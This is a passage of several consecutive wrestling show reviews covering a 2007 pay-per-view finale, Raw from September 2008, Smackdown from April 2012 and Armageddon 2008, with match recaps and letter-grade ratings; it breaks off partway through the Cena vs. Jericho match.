The second gate is opened but Khali grabs the leg. He chokes him against the cage until the clock runs out and the door is shut. Khali pulls a rope off the wall of the cage to tie Batista to the cage. There’s a strap attached to the cage for some reason so Khali pulls it down and it’s whipping time. Batista wasn’t tied up so I guess it was just choking. The third gate is opened but Khali walks into a spinebuster. Big Dave goes for the door but Khali stops him again, leaving us with only one door.

Batista grabs the strap and gives Khali a beating. Now Batista tries to climb over the top for some reason but Khali pounds him down, right into position for Batista to Bomb him out of the corner. Khali blocks it with punches though and the champion is down. Vice Grip goes on and Batista is in trouble. Khali asks for the fourth gate to be opened but Batista hits him low to put both guys down.

The last door closes so Khali beats up the referee through the cage. Khali tries to climb as JBL says this is something out of Jurassic Park. Uh….not exactly Jibbles. Khali tries to climb out but gets knocked down. JBL: “When big men fall down off the top rope like that it hurts.” Batista climbs as well but gets pulled down with a big crash. Khali climbs up and over the top of the first cage while Batista is still down. Both guys climb a cage and in a very cool looking ending, Batista jumps from the outside of the inner cage to the inside of the outer cage and gets up and out faster than Khali can to retain.

Rating: C-. I don’t think anyone would say this was good. I don’t think anyone would argue that a regular cage match wouldn’t have been better. I do however think this wasn’t half bad. The ending was really cool with that jump being something almost out of an action movie. It was an interesting experiment but thankfully they didn’t try it after this.

We recap the night long story with HHH vs. Vince/Orton. HHH is in the back and says the Game isn’t over. He’s coming for Orton.

Raw World Title: HHH vs. Randy Orton

Last man standing. Slugout to start with Orton going after the bad ribs. They keep the slugout going out to the floor where a Pedigree is countered. The bad ribs land on the steel and Orton gets control. Back in and a punch puts HHH down. Out to the floor again and Orton belly to back suplexes him onto the barricade. That gets a six count and Orton throws him into the steps for another six.

They head into the ring and Orton hits a release powerslam for about eight. Facebuster puts Orton down but he pops back up and gets a cord off the floor. He chokes HHH out but what should be murder only gets a nine count. Orton loads up the announce table and gets a horrible shot to the head with a monitor. An RKO from one table to the other doesn’t work as HHH launches him through the second table.

Both guys are down and Orton is holding his arm. Gee where have I seen that before? Trips gets up and it’s a nine count on Orton. A spinebuster on the floor but that gets the same result. Steps to the face of Orton should kill him but gets the slowest nine count ever. Back into the ring and HHH gets a chair. Orton manages to kick the bad ribs and DDTs him onto the chair for an eight or so.

Randy finally goes off and pounds HHH down in the corner and an RKO on the open chair gets nine. The Punt is grabbed and HHH throws Orton over the top to the floor. They go to the floor with HHH pounding on him before throwing him onto the remaining table. Orton escapes and slams him into the post to put HHH down. He gets the steps but HHH hits him low to “slam” Orton’s head into them. A chair to Orton’s head while it’s still on the steps gets nine and we go back to the table. An RKO out of nowhere onto the table gives Orton the title. It’s as sudden as it sounds.

Rating: B. Good match but the counts got pretty ridiculous at times. The ending didn’t help either as Orton had hit him with far bigger stuff just moments earlier but the RKO ends it because that’s what Orton finishes matches with. Also it doesn’t help that these two had THREE last man standing matches in total. See why people got tired of them?

Overall Rating: B-. I didn’t like it as much as the 06 version but this was still a solid show. The HHH vs. Orton love fest didn’t quite do it for me but the rest of the stuff was good enough and you can’t say nothing happened here. This is turning into a show that you expect nothing from but get a good result out of and that’s fine with me. There’s one more to go and I remember liking it a lot.

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Monday Night Raw – September 22, 2008: They Can’t Even Count To 800

Monday Night Raw
Date: September 22, 2008
Location: US Bank Arena, Cincinnati, Ohio
Commentators: Michael Cole, Jerry Lawler

This was on my request list for some reason. I’ve done a few shows from around this time lately so maybe it has to do with that. This is a few weeks after Unforgiven so Jericho would be world champion at this point and feuding with Shawn. Other than that I don’t remember a thing about this time so it’ll be interesting to look at. Let’s get to it.

We open with the world title hanging above the ring and a ladder underneath it. Here’s Jericho to some LOUD pyro. Cole says this is the 800th episode. So that’s probably…..WAIT WHAT??? On November 3 of the same year, they would have a big 800th episode celebration with a three hour show. Can’t they even keep their continuity straight for six weeks??? I’m going to have to do every show in the history of Raw to get the right episodes aren’t I?

ANYWAY, Jericho sits on top of the ladder and talks about how Shawn has convinced Mike Adamle to make their match at No Mercy a ladder match. Shawn has claimed that he revolutionized the ladder match and the mindless sheep that the fans are believed him. Just because HBK says something, it doesn’t mean it’s true. Jericho on the other hand is an honest man. The truth is that he’s won three titles in a ladder match. He’s won more ladder matches than Shawn has ever appeared in.

Jericho says the last thing you’ll see at the PPV is this, and he pulls down the title. Shawn attacked him recently but he came back, because he’s just better than Shawn. Jericho keeps talking and is interrupted by….Randy Orton? Jericho starts to call himself champion but Orton cuts him off. He says that if not for him kicking Punk in the head, Jericho wouldn’t be champion. The ladder match doesn’t mean anything because whoever wins is living on borrowed time.

Jericho asks what’s stopping him from punching Orton right now. Punching Shawn’s wife was an accident but this would be on purpose. Randy is still injured here. Orton has spoken to Mike Adamle and anyone that hits him is suspended immediately. Jericho says get well soon and leaves. Orton says he’ll be champion again and throws the ladder out. Randy goes to leave and here’s Punk. Punk gets in his face and slaps him, causing Adamle to come down and suspend him indefinitely.

Now here’s Shane McMahon of all people to dance around on stage in white shoes. Now he dances in the ring a bit. He got a big pop so I can’t complain much here. Apparently he’s here to evaluate Adamle later on. Shane overrules Adamle’s suspension of Punk so Orton yells about that too. The suspension rule is still in effect, but it starts right now. Shane asks Orton to leave and makes Punk vs. Rhodes and Jericho/JBL vs. Batista/Shawn. Shane dances some more and it’s FINALLY over. This segment ran nearly 20 minutes which is WAY too long given what we got out of it.

Cody Rhodes vs. CM Punk

Feeling out process to start. It’s amazing how much bigger this would be in just a few years. Punk uses his strikes to take over, including a spinning elbow to the face. Cody sends him to the outside but Punk kicks him through the ropes. They brawl on the floor before heading back in with Cody hitting a top rope cross body, rolled through for two. Cody hits a few knees, including a big one in the corner for two.

Punk loads up the GTS but Cody escapes and bails to the floor as we take a break. Back with Cody working on the ankle/leg after crotching him during the break. It’s leg lock time as the match slows down. Punk counters that into an ankle lock of all things but Cody makes the rope. The running knee hits but the bulldog is countered of course. GTS gets the pin about a second later.

Rating: C. Not bad here but Cody didn’t mean a thing at this point so the match wasn’t going to be anything good. Punk was really just a glorified upper midcard guy at this point so this didn’t mean much of anything. Somehow Punk wouldn’t get the real revenge he was looking for until 2011.

DiBiase and Manu run in for the beatdown but Kofi makes the save. He and Punk would win the tag titles very soon.

Smackdown ReBound is about Kozlov attacking Jeff Hardy. He also beat up MVP and HHH.

Adamle complains to Shane about being embarrassed out there. Shane says Adamle is doing fine and that he shouldn’t be worried. Kane comes in and wants Mysterio, and he’ll get him at No Mercy apparently. Kane tells Shane to say hi to Linda for him. He leaves and Shane explains the history between himself and Kane.

A photographer is talking to Kelly when Beth and Santino come up. Santino has a facial injury and Kelly laughed last week, so it’s time for pain tonight. He makes fun of Batista who of course pops up behind him. An awkward staredown ensues.

Santino Marella vs. Deuce

We get the Honk-A-Meter prematch but Deuce cuts it off. This is non-title of course. Deuce goes after the injured face and drops a punch for two. Santino rolls him up for the pin out of nowhere. This was like a minute long.

Santino talks about how great Beth is post match.

Kane vs. Evan Bourne

Evan is an ECW guy at this point and is standing in for Mysterio who is still injured. Bourne fires off a kick to the ribs which gets him nowhere, followed by an enziguri to stagger the monster. A Kane powerbomb is countered and Bourne kicks some more. Bourne keeps trying to keep things moving but Kane gets in a single punch to stop the offense dead in its tracks. A big boot misses and Kane gets caught in the ropes. A moonsault to the floor puts Kane down again and the double knees get two. Kane gets in a single uppercut and begins the total destruction. HUGE chokeslam gets the pin.

Rating: C. This was a lot better than I was expecting from it. Bourne is a guy who is small enough to be able to make you feel sorry for him against a monster like this so the crowd was getting into it. On top of that it plays up the Kane vs. small guys feud which is what they’re going with despite it getting annoying. Fun match.

Rey comes out and gets beaten down as well.

Jamie Noble asks Shane for another match with Regal. Dolph Ziggler comes up and introduces himself and leaves. Orton comes up for another distraction and says overturning the suspension wasn’t cool. Shane says it’s cool and that Orton is getting off easily. Orton threatens him so Shane says he’s a fourth generation McMahon. That means something I guess.

Beth Phoenix vs. Kelly Kelly

Beth takes him into the corner but Kelly moves out of the way for some speedy gymnastics. Beth comes back with a Buckle Bomb and yells about Batista. Candace is watching in the back. Kelly comes back with a cross body out of the corner for two. Santino’s interference backfires and Kelly gets the rollup for the pin. This was when the Divas were only bad and not horrible yet.

They set to double team Kelly until Batista makes the save. Santino ACTUALLY HITS Batista. Guess how well that goes.

We recap the feud between the Dirt Sheet and Word Up, Cryme Tyme’s show. They had argued for awhile on their shows, resulting in an AWESOME rap video parody by Miz and Morrison. Dirt Sheet and Miz/Morrison were hilarious at this point.

John Morrison/The Miz vs. Cryme Tyme

JTG vs. Morrison to start things off. Miz cheats as is his nature but JTG comes back with a spinning clothesline for two. Shad comes in with a huge gorilla press to send Morrison to the floor. Shad throws JTG onto both of them and we take a break. Back with Morrison holding an armbar on JTG which is quickly broken. Off to Miz for more chinlockery as he prevents the hot tag. The tag goes through a few seconds later and Shad cleans house. Powerslam gets two on Miz. Delayed release gordbuster puts Miz down but Morrison kicks Shad in the head which lets Miz get the pin.

Rating: D. This wasn’t very good. The problem was that these two were better teams but for some reason neither were tag champions at this point. It’s not that the belts meant anything so it doesn’t really matter but it’s still a pretty stupid miss. Boring match here with the majority of it being spent in chinlocks.

Jericho tries to convince Adamle that Shane is manipulating him. Jericho has an idea but we don’t get to hear it.

We run down the No Mercy card.

Charlie Haas is at Dave and Busters to shill the Mr. Perfect DVD with an imitation. He does the sports bit that Perfect did which is kind of funny.

Shawn Michaels/Batista vs. John Bradshaw Layfield/Chris Jericho/Lance Cade

Jericho’s idea was to make it 3-2 and I guess it worked. Shawn and Cade start things off with Shawn destroying him. Cade reverses a whip and JBL adds a right hand to really give Lance an opening. Off to Jericho for a chinlock and an enziguri puts Shawn down. Off to JBL who hits a swinging neckbreaker for two. Back to Cade for more of a beating in the corner. Jericho chokes away as this has been one sided for the most part. Bradshaw comes in and they slug it out but JBL kicks him in the face to put him right back down.

It’s JBL vs. Batista at No Mercy if that clears anything up. Shawn jumps into the fallaway slam but he counters into a DDT to put both guys down. There’s the tag to Batista who cleans house. Spinebuster to Jericho and a powerslam sets up the Shawn elbow. Superkick is countered into a Walls attempt but Shawn rolls him up for two. Everything breaks down and Batista spears JBL outside. Lionsault misses and it’s off to Cade. Forearm puts him down but Jericho’s distraction lets him hit a sitout Rock Bottom to Shawn for the pin.

Rating: C. Just a main event tag match here that felt like it belonged at a house show. It wasn’t bad or anything but it just wasn’t interesting. There wasn’t much focus on the JBL vs. Batista match at all and Batista was only in the match for about a minute or so. Not bad, but just kind of there.

Overall Rating: C-. This wasn’t a bad show but it was nothing interesting at all. Nothing really happened and while they pushed No Mercy, this isn’t a show that you would need to see to see No Mercy. Orton was in a weird place here where he was hurt, but it was clear they wanted him to be the #2 heel on the roster. That’s hard to do but they tried hard. It came off as forced though and it didn’t quite work. Pretty meh show.

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Smackdown – April 6, 2012: Make Sure To Squeeze Sheamus In There Somewhere

Smackdown
Date: April 6, 2012
Location: Orlando Amway Center, Orlando, Florida
Commentators: Michael Cole, Booker T, Josh Matthews

It’s the first show of the new year on Fridays and we have a new boss. Tonight we have Sheamus vs. Del Rio where if Del Rio wins he gets a title match at some later date. It should be interesting to see where Bryan goes after this as he’ll certainly get a rematch somewhere. It’s always interesting to see where things go immediately after Mania, so let’s get to it.

We open with Otunga introducing Johnny Ace to trumpet fanfare. David is wearing what can only be described as a suit jacket over his shoulders that would be big on Viscera. Ace talks about how he’s going to bring charisma and leadership to this show as it’s never been done before. This is a new era of people power. Ace hopes Teddy will be professional during this transition. He asks Teddy to come out and is almost immediately cut off in his smug speech. Teddy says he can tell Ace what he really thinks of him now that he’s out of a job.

He was told it would be crazy to come to Smackdown tonight but he couldn’t just leave the job without thanking the fans. He’s had a great job being the GM and he’d like a holla holla holla before he leaves. Teddy goes to leave but Ace says hang on a second. He offers Teddy a job in the new administration but Teddy turns it down.

Ace reminds him of his grandchildren who need to go to college. Otunga points out that somehow Ace controls the college fund the company set up for Long’s grandchildren, so Teddy reluctantly takes the job of Ace’s lackey. Oh wait first he also have to say that Ace is better than him or it doesn’t happen. Teddy says it but Ace wants to hear it once more, with feeling. No word on what the job is yet but it likely won’t be good for him. Teddy leaves and Ace announces Kane vs. Orton in a No DQ match, but first we have this.

Mark Henry/David Otunga vs. R-Truth

Apparently Booker has to be in Connecticut for a closed door meeting next week with the WWE bosses. Otunga starts and is quickly taken down by a clothesline for two. Lie Detector gets two. Henry comes in who kicks Truth down with a big boot. Abraham Washington is watching in the back. Truth avoids a charge in the corner and hits a side kick, but the World’s Strongest Slam kills him so that Otunga can get the pin at 2:03.

With all three of them still in the ring, here’s Kane. I guess they’re just cutting down the time between matches because he doesn’t do anything to any of them.

Kane vs. Randy Orton

This is a No DQ match. Kane knocks him to the floor very quickly but Orton rams him into the barricade. Kane sees Orton’s barricade and raises him a table to take over. Orton throws him over the table and then into the steps. This is a total brawl so far. Kane punches him up the ramp and they slug it out on the stage. Orton almost knocks Kane off the stage but Kane grabs him by the throat. Randy fights out of that and tries the RKO but Kane DDTs him as we take a break.

Back with them in the ring and Kane taking off the turnbuckle pad. Clothesline gets two for Kane. Orton breaks up the top rope clothesline and dropkicks Kane down. Powerslam looks to set up the RKO but Kane bails to the floor. He pulls Randy to the floor and they slug it out even more. Kane gets dropped on the barricade and a clothesline knocks him over into the time keeper’s area.

Orton tries the elevated DDT on the floor but Kane fights out of it and big boots Orton down. Kane goes under the ring and throws five chairs into the ring. As he comes back in though Orton kicks him in the face and pops him with the chair a few times. The Elevated DDT onto the chair gets two. Kane picks up the chair and goes off on Randy with it but can only get two. Here comes the chokeslam but Orton shoves him into the exposed buckle and the RKO finishes at 10:20 shown of 13:50.

Rating: B-. I liked the match but I think the one at Mania was better. Orton evening the score here is good as he’s been jobbing a lot lately, but I’m not sure I get the idea of having this rematch five days after Mania. This wasn’t the best No DQ match on Smackdown that I’ve ever seen but it did its job well enough.

We get a package of stills from Bryan vs. Sheamus. You know, to make sure no one sees the full version of it.

We get a clip from Raw with Del Rio and Sheamus.

Jobber Barry Stevens gets to talk while the lower card watches in the back for some reason. He thinks the people in Orlando are rude.

Ryback vs. Barry Stevens

Ryback is more famous as Skip Sheffield and is acknowledged as being on the first season of NXT but his name isn’t given. I’m assuming the roster was watching for Ryback. Total squash with a kind of delayed fisherman’s brainbuster getting the pin at 1:08. It looked kind of like a MuscleBuster but more like a suplex than dropping him on the back of his head.

Here are Bryan and AJ to talk about Sunday. Bryan says he’s had a chance to think since Sunday…and he tails off. AJ takes the mic and says that Bryan is a great wrestler and a great person. She’s not the only one that thinks that, drawing a loud YES chant. She talks about the YES signs and chants at Mania and Raw, even when Bryan wasn’t in the ring, which causes a Daniel Bryan chant. Everyone is here to support him.

Bryan doesn’t think that it’s support, but rather mocking. Fans: “NO! NO! NO!” These people are sheep and they don’t make it any better, because AJ cost him the title. He screams at her about how he beat giants in the cage and how he won the Chamber but AJ just had to have her kiss and cost him the title. It was really the kiss of death.

AJ tries to defend herself but Bryan says she won’t make him the bad guy because it’s her fault. It was her clinginess and selfishness that cost Bryan everything. That’ll never happen again because they’re through. He tells her to go sit in her SUV and eat a cheeseburger. Dang those are some serious words. She begs him to talk about this but he dumps her anyway and throws her out of his ring. The fans give her the Goodbye Song.

Big Show vs. Heath Slater

Cody is on commentary. Before the match Show airs the same video from Raw with Cody getting knocked out. Show chops him a lot and throws him around as Cody says he isn’t sure what went wrong on Sunday. Show tackles him and the chokeslam ends this at 1:14.

Cody almost goes in to fight Big Show but changes his mind. Show knocks out Slater with the WMD.

We get the Punk/Jericho segment from Raw with the alcohol.

The Bellas are in the back with Ace when Sheamus comes in. This is his first appearance as champion: a backstage segment. The referee has been told to bring Alberto and Sheamus face to face tonight so Sheamus can’t kick him in the face. Sheamus says ok and only those that deserve it will get a surprise kick. He talks about his cousin who was a bully and how he was in charge until the people rebelled against him. Subtle.

Beth Phoenix vs. Nikki Bella

Kelly comes out for no apparent reason. Total dominance until Kelly comes to the apron for no apparent reason. She distracts Beth who then charges shoulder first into the post, letting Nikki hit an X Factor for the pin at 59 seconds. This enhanced the show so much for me.

Video on Chief Jay Strongbow who passed away earlier this week.

We get a video on newcomer Damien Sandow, who talks about how real entertainment is a lost art. Instead of listening to Mozart or reading Shakespeare, we now watch Jersey Shore and Real Housewives. He doesn’t blame the people for it, but he will save you from it. Sandow is Idol Stevens from OVW and went by Sandow in FCW.

We get some videos of Cena before Mania, talking about how he has to win. This is followed up by Lesnar’s return and the F5. Once again Cole screws up the return as he sounds like he’s calling a Superstars comeback.

The Three Stooges cast will be guest starring on Raw. I really hope that doesn’t hurt the hot streak WWE has been on.

Alberto Del Rio vs. Sheamus

If Alberto wins, he gets a future title shot. We have about 15 minutes of airtime left and this is the first live appearance of Sheamus. That goes a long way in telling you where he stands in the company’s eyes. There’s a break between the entrances and Tuesday will be a live Blast From The Past Smackdown. That should be fun. Josh talks about a WWE Magazine article about what Del Rio’s trunks signify. Booker: “They mean he has money. Don’t overcomplicate things.”

Del Rio tries to go after the arm but Sheamus comes back with the Finlay fireman’s carry roll which I can’t think of the name of. Josh says this is for the title and that isn’t disputed by either other commentator, but I’m pretty sure it’s not on the line here. Alberto works on the arm but the Armbreaker is broken up and Sheamus tries a Brogue Kick which is ducked. Del Rio heads to the floor and we take a break.

Back with Sheamus getting two off the slingshot shoulder. Sheamus hits the ten forearms to the chest but Del Rio escapes and a running enziguri puts Sheamus on the floor. He rams Sheamus’ shoulder into the steps and hooks an arm hold back inside. Sheamus tries a neckbreaker but Del Rio escapes and goes back to the arm.

Alberto charges into the Irish Curse and both guys are down. Sheamus destroys him with power moves and calls for the Brogue Kick but Ricardo pops up for a distraction. Del Rio brings in a chair but Sheamus takes it away. The referee sees him holding it and calls for a DQ at 7:39 shown of 11:09. Sheamus didn’t use the chair.

Rating: C. I wasn’t into this match at all and it really wasn’t a good way to start off Sheamus’ reign. At the end of the day, Del Rio is boring. There’s NOTHING to his character besides he’s rich, he’s Mexican, and he uses a cross armbreaker. That’s it. He was showing some signs of being very evil and sinister when he injured Christian and stood over him with that evil smile, but now that’s all gone. There’s nothing to him but he stays in the title picture non-stop. I don’t get it.

Sheamus kicks the referee to end the show. Nice guy.

Overall Rating: C-. I really wasn’t into this show. They did a really bad job of showcasing the new champion, as he popped up halfway through the show for a pointless backstage segment, had a weak match which he lost, and was treated like a second act. This show was about Laurinitis who is most well known for being boring. That’s not exactly something that makes me want to watch Smackdown, but hopefully things get better next week.

Results
David Otunga/Mark Henry b. R-Truth – Otunga pinned R-Truth after a World’s Strongest Slam
Randy Orton b. Kane – RKO
Ryback b. Barry Stevens – Delayed Fisherman’s Brainbuster
Big Show b. Heath Slater – Chokeslam
Nikki Bella b. Beth Phoenix – Facejam
Alberto Del Rio b. Sheamus via DQ when Sheamus was seen holding a chair

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Armageddon 2008: Jeffrey Freaking Nero Hardy

Armageddon 2008
Date: December 14, 2008
Location: HSBC Arena, Buffalo, New York
Attendance: 12,500
Commentators: Jim Ross, Jerry Lawler, Matt Striker, Todd Grisham, Michael Cole, Taz

Well this is the final show of the series and thankfully we go out with a big old bang. The main events are Edge vs. HHH vs. Hardy for the Smackdown title and Jericho vs. Cena for the Red Show title. Also there’s Batista vs. Orton in the closest thing to a major match they ever had (not counting some random title matches). Let’s get to it.
In a not very interesting bit of trivia, the dark match for this show is the same match that was the dark match for the previous year’s Armageddon: Jesse and Festus vs. Miz/Morrison. The more famous team lost the first time and won this year.

It’s Armageddon and the same theme is used.

Matt Hardy vs. Vladimir Kozlov

Vlad was released on the day this was written. Matt is ECW Champion but this is non-title. Vlad has that rare thing called credibility here and is undefeated. The fans chant USA as is their custom because they’re anti-foreigner. Hardy starts off kind of well and is then thrown all over the place because Vlad is Russians and Russians are better fighters. He throws on a key lock and the fans cheer for Hardy.

Vlad shifts off to an armbar and pulls Matt off the mat (oh the irony) by his arm which looked REALLY freaking painful. Trapping headbutts keep Matt from getting any long term offense going. Vlad gets a DDT to either the head or the arm. It looked like a regular one but it seemed like Matt landed on his arm. Back to the keylock as this isn’t a very exciting match even though the fans are interested in it.

Matt manages to get up top and hit a top rope elbow to the head. Vlad gets tossed to the floor but Matt’s dive doesn’t work. He counters the counter though and Vlad tastes the steel. Not really but you get the idea. I doubt Vlad likes to lick posts but who knows, maybe he does. Matt goes up again but jumps into a punch for two. He goes into the corner for ten punches but gets dropped onto the post. The headbutt to the chest and a standing spinebuster end this.

Rating: C. Not a bad match but there’s something out of place about a Russian monster using arm holds for the majority of the match. Matt losing was expected because he’s Matt Hardy, but Vlad’s push more or less stopped soon after this, mainly due to an abysmal fan response at Cyber Sunday. Nothing great here but it was fine for what it was.

Edge, Vickie and Chavo are in the back. Edge leaves to get ready and Chavo asks Vickie how they got rid of Jeff that night in the hotel. Vickie doesn’t want to answer and sends Chavo for coffee.

Horny comes up to Eve and hits her with a rubber hammer. Finlay comes in to help her and Eve says it’s cool. Finlay tells his son not to come out for the match later because he might get hurt. Horny is sad.

Here’s William Regal with Layla to sit at ringside for the next match.

Intercontinental Championship Tournament Final: CM Punk vs. Rey Mysterio

Why they call it that I have no idea because it’s for a shot at the title, held by Regal. Punk is introduced as half of the tag champions but he and Kofi lost the titles at a house show the previous night to Miz and Morrison. There’s a pre-match handshake and here we go. Mysterio might have a bad wrist but it isn’t taped. Jerry does his job and talks about how having an injury taped up is a bad idea at times.

Some lone fan tries to start a Miz and Morrison chant and the arena shouts him down. Pretty basic back and forth stuff to start but they’re speeding up. 619 is avoided but the GTS fails also. Rey is sent to the floor in front of Regal and Punk hits a big dive which gets two in the ring. Tilt-a-whirl backbreaker gets two. Rey tries to speed things up but is caught in the Tree of Woe and Punk fires off some kicks.

He avoids a charge though and hits a moonsault off the top for two. It might have hurt his already injured wrist though and Punk capitalizes it. Punk grabs a weird kind of crossface where he puts Rey’s arm behind Punk’s back and cranks back on it. Rey gets to the ropes and uses what appears to be La Mistica (Sin Cara’s move in Mexico) but Punk makes a rope as well.

A dropkick puts Punk on the floor and Rey hits a big dive off the top, putting both guys down. Back in a victory roll by Rey gets two but Punk counters into a rollup of his own for two. Pretty back and forth match so far with both guys mirroring each other. Punk hits a running bulldog for two. Regal is finally interested in the match while Layla holds the title up for him.

Punk puts Rey on the ropes but gets put in the 619 position. That misses again and Punk tries the GTS. Rey reverses that into a rana to put CM into 619 position. It finally connects but the splash misses. Crucifix gets two for Rey. Punk counters another rana attempt and hits the GTS out of mostly nowhere for the pin and the shot at Regal. Rey’s nose is busted.

Rating: B. Rather good match here and they were moving out there. The ending is kind of out of nowhere but the GTS looked good. Rey would get the title from JBL at Mania in like 30 seconds after JBL beat Punk for it who beat Regal for it like three weeks after this. Good match here though as is par for the course with these two.

Jeff talks about spending the last year to get ready for this moment. He’s been told he had to change to get what he wanted, but that’s because the people are afraid of him. Tonight he’ll prove everyone wrong and become WWE Champion.

We recap JBL and Shawn’s issues. The idea is that Shawn is broke due to the 2008 financial crash. He had to take a job with JBL as his servant basically and give up his pride. The problem with all this was simple: Shawn Michaels is a top level WWE Superstar. Are we supposed to believe he doesn’t make enough to pay his bills?

Here’s JBL who introduces Shawn as his new employee. He says that the financial issues have caught up with him and he’s invested his money in the stock market. See, that’s the thing: he got his money being a wrestler and he has the same job now. He’s still making checks now so why is this such a big issue?

It makes sense in theory but it always came off as a hole in the story to me. Shawn doesn’t like JBL but he’s not going to become one of those guys that you hear about who is a tragedy and going to a high school gym to wrestle for a quick payday. YOU WERE IN THE MATCH OF THE YEAR LAST YEAR AT WRESTLEMANIA. I THINK YOU HAVE SOME TIME LEFT. Anyway, Shawn shakes JBL’s hand and is all sad. He always will have a lifetime job looking for his smile.

Orton says…nothing because Cody and Manu interrupt. Cody says Orton was the star of Evolution and Manu says that Orton has been waiting to prove himself as the better man for years. I can see why Manu didn’t keep his job long. Everyone leaves after that in a weird moment.

Some Buffalo Bills are here.

Finlay vs. Mark Henry

This is a Belfast Brawl, which means street fight. Henry had tried to squash Horny but Finlay made the save for his son. Tony Atlas is with Henry. Striker says this has its roots in the streets of Belfast. There are wrestling rings in Belfast streets where you win fights by holding someone down for three seconds in front of 12,000 people? Henry sends him to the floor quickly but Finlay manages to send him into the announce table. Henry takes over and pounds away outside, ramming him into the railing.

No Hornswoggle out here as per his pop’s request. Back in the ring the splash misses and Finlay tries to get in some offense. The Irish dude pulls out some weapons, in the form of like three trashcans. The delay lets Henry get up and Finlay goes down fast. Henry hits that move that has no name where you jump on the guy’s head when he’s in the 619 position. He yells at Finlay, saying you wanted a fight and now you got one.

Finlay manages to fight back with a trashcan shot and another to put Henry down. He pounds away a bit and gets two. Henry takes over again and stands on Finlay’s chest but misses a Banzai Drop from the middle rope. Yokozuna he is not. There’s that Irish club that I can’t spell but Henry knocks it out of Finlay’s hand. Henry breaks the club easily and does the same to a kendo stick.

Bear hug goes on and here’s Horny. Henry casually throws him into Finlay’s balls from where he came. Or did Finlay come? Not sure actually. I guess Finlay had to so Horny could. And I guess Finlay had to be Horny to come so Horny could come. I love wordplay. Anyway Henry beats Finlay down and picks up the steps but Finlay dropkicks the knee to send Henry’s face into the steps. Horny slips him another stick (add that aspect to the aforementioned joke) and a shot to the head with that ends this.

Rating: C-. Eh nothing too horrible here. The weapons probably saved this as I don’t even want to imagine these two trying to have a regular match. Not a horrible match here and Horny helping to win is ok. I don’t mind him as a sidekick but being on the show week after week gets to be a bit much.

The Divas are decorating a tree and here’s Santa-Haas. They all get presents which were already in the room. Santino and Beth come in and show off Beth’s Diva of the Year Slammy. Santino tries to get a present out of the box but Boogeyman is inside. He runs for the door and there’s Goldust under some mistletoe. Boogey gives Goldust a present and then the two of them along with Santa, the Divas and the drugged out Festus sing We Wish You A Merry Christmas. It’s as weird as it sounds.

Kennedy says drink responsibly and don’t do drugs. However, do go get his new DVD, Behind Enemy Lines III.

We recap Batista vs. Orton. They were both in Evolution and this fight is basically to decide who was the better young and future star in the team. Both won world titles and then Orton went all heel and said he was better than everyone else. I don’t get why this is at Armageddon and not like at, Wrestlemania or something.

Batista vs. Randy Orton

Cody and Manu are with Orton. They fight over a lockup to start and there’s no real advantage yet. Orton takes him to the mat but that gets him nowhere at all. Batista goes to the floor and Rhodes gets involved for generally evil purposes. The two of them get thrown out quickly though so we get down to a regular match. Orton sends the shoulder into the post and works on the arm for the first real advantage.

They’re treating this like a clash of the titans which it really is. There’s an RKO chant also. Batista snaps and tries a Batista Bomb early but Randy escapes into a neckbreaker for two. Batista tosses him to the floor and Orton may have reinjured his shoulder which was hurt earlier in the year. Back in Orton manages to get the elevated DDT for two. This is when the move made sense as the rope is under Big Dave’s knees instead of his ankles, making it a bit harder to escape.

Since we were getting close to something interesting out of Orton, it’s the Orton Stomp to the rescue! When you steal moves from Ronnie Garvin, you’re not in a good place. Batista goes to the floor as the pace of the match has gone down into negative gears. Orton throws on a chinlock which is broken rather quickly. He’s working on the neck so we hit the chinlock again.

The fans aren’t sure if they want to chant boring or not. Big Dave gets underneaath the chinlock and drops back with the weight crashing down onto Randy. Batista wins a slugout but Orton uses the lethal art of kicking your feet to escape a powerslam. They go outside again which doesn’t amount to much. A superplex by Orton gets two.

Spinebuster gets two out of nowhere for Batista. He’s too spent to follow up immediately and the Batista Bomb is delayed. Orton gets the backbreaker for two. RKO is blocked and Batista gets a slam for two. The Animal (just a generic animal, not the Viper) is getting frustrated. Another Bomb attempt is countered and Randy gets a DDT for two. The Punt is countered by Batista putting him in the corner and ramming in shoulders and then ten punches. Orton tries to counter into something but winds up in the position for the Batista Bomb and we’re done.

Rating: B-. Well the second half was better but at the same time the first half was really boring. Orton got A LOT better over the last year or so and was just dull beyond belief as a heel in 2008. A lot of this match was weak but they turned it around and got something close to a big match going. The pacing was off too though and it looked like they kept wanting to get going but it never clicked.

Recap of the Slammys from Raw on Monday. This is mainly done to set up some more of Cena vs. Jericho. They’re fighting for the Raw World Title later. Jeff Hardy, Edge and HHH got involved somehow too.

Maria/Mickie James/Kelly Kelly/Michelle McCool vs. Maryse/Jillian Hall/Victoria/Natalya

Santa’s Little Helper’s match here. The heels are in green and are elves I guess. Maria’s song is really catchy. I miss Michelle. Mickie vs. Maryse starts us off. Mickie keeps going after her and Maryse tries to pose. Off to Mickie vs. Natalya in the real fight here. Nattie is pretty new at this point. Kelly is Jewish and Striker calls her the Hot Hebrew. That sounds like a really bad coffee shop. The announcers are having a fun time with this. The match is totally pointless of course and it’s off to Maria. Somehow she gets compared to John Berzerker Nord. Everything breaks down and Michelle hits the Faithbreaker (Styles Clash) to end Maryse.

Rating: C+. Don’t bother trying to figure out if the rating is good because it isn’t, but there was a weird energy for this one and I had fun with it. Also Michelle in shorts and Maria with her energetic perkiness are never bad things. The girls looks hot and everyone was having fun in a nice breath of air before the main events. What more can you ask for?

Khali comes out for the Kiss Cam with the Divas in the ring still. Michelle runs away with her Divas Title. Instead he’s going to kiss the other three. This doesn’t work either so Runjin Singh says that it’s because he’s too much man for them. Singh has a backup plan in the form of Mae Young. This is one of those things you classify as all in good fun. Yes it’s stupid, but I like it for some weird reason. The announcers are cracking up over Lawler’s one liners.

Preview of Prince of Persia, which is the game sponsoring the show.

We recap Jericho vs. Cena which is a rematch from Survivor Series where Cena came back to beat Jericho for the title after being gone for like three months. Jericho never beat Cena for the most part so what do you think is happening here? Oh and Jericho is the Superstar of the Year, which he probably deserved. The rest of the video is a long beatdown of Cena by Jericho with help from Legacy.

Raw World Title: John Cena vs. Chris Jericho

After some big match intros we’re ready to go. Crowd is mostly pro Cena, I’d say 75-80%. Jericho outsmarts him to start and stomps away on the back and the neck. Cena is like screw this and spears him down to hammer away. Jericho fights out and throws on a sleeper. Cena might go to sleep faster if Jericho wasn’t calling spot to him. Dueling chants already but the better one is for Jericho.

